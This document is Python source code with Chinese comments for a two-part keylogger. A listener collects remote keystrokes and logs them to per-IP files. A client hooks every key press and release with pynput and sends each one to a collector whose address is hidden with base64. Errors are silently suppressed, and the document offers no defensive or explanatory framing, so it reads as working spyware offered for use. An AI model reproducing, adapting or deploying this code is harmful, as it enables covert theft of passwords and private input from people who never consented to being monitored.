控制端代码:
# 控制端
import socket
import threading
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 设置端口重用
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR ,1)
server.bind(("0.0.0.0",15963))
server.listen(5)
class record(threading.Thread):
def __init__(self,conn,addr):
threading.Thread.__init__(self)
self.conn = conn
self.addr = addr
def run(self):
try:
# 接收数据大小
sizes = int(conn.recv(4).decode("gbk"))
# 处理TCP粘包问题
content = b''
size = 0
while size < sizes:
content += self.conn.recv(sizes)
size = len(content)
# 字符串处理
content = content.decode("gbk")
locate = content.index("【")
content = (content[:locate]+f" 用户: {self.addr[0]} "+content[locate:]).encode("gbk")
# 展示数据
print(content.decode("gbk"))
content += bytes("\n","gbk")
# 记录数据
with open(f"{self.addr[0]}.txt","ab") as File:
File.write(content)
except:
pass
while True:
# 等待连接
conn,addr = server.accept()
# conn是客户端连接的通道, 里面包含了客户端的基本信息,用于服务端给客户端发指令
# addr ---> addr[0]是客户端的IP地址, addr[1]是客户端连接后开放的端口号
Thread = record(conn,addr)
Thread.start()
服务端代码:
# 服务端
import time
import base64
import socket
from pynput import keyboard
def on_prass(key):
try:
# 添加连接
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect_ex((base64.b64decode(b'MTkyLjE2OC4yMC4zNw==').decode("gbk"),int(base64.b64decode(b'MTU5NjM=').decode("gbk"))))
press_record = f'{time.strftime("%Y-%m-%d %H:%M:%S")} 【按下】[ {key} ]'.encode("gbk")
Co1Len = bytes(str(len(press_record)),"gbk").zfill(4)
# 发送数据大小
client.sendall(Co1Len)
# 发送数据类容
client.sendall(press_record)
except:
pass
def on_release(key):
try:
# 添加连接
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect_ex((base64.b64decode(b'MTkyLjE2OC4yMC4zNw==').decode("gbk"),int(base64.b64decode(b'MTU5NjM=').decode("gbk"))))
release_record = f'{time.strftime("%Y-%m-%d %H:%M:%S")} 【松开】[ {key} ]'.encode("gbk")
Co2Len = bytes(str(len(release_record)),"gbk").zfill(4)
# 发送数据大小
client.sendall(Co2Len)
# 发送数据类容
client.sendall(release_record)
except:
pass
with keyboard.Listener(on_press=on_prass, on_release=on_release) as listener:
listener.join()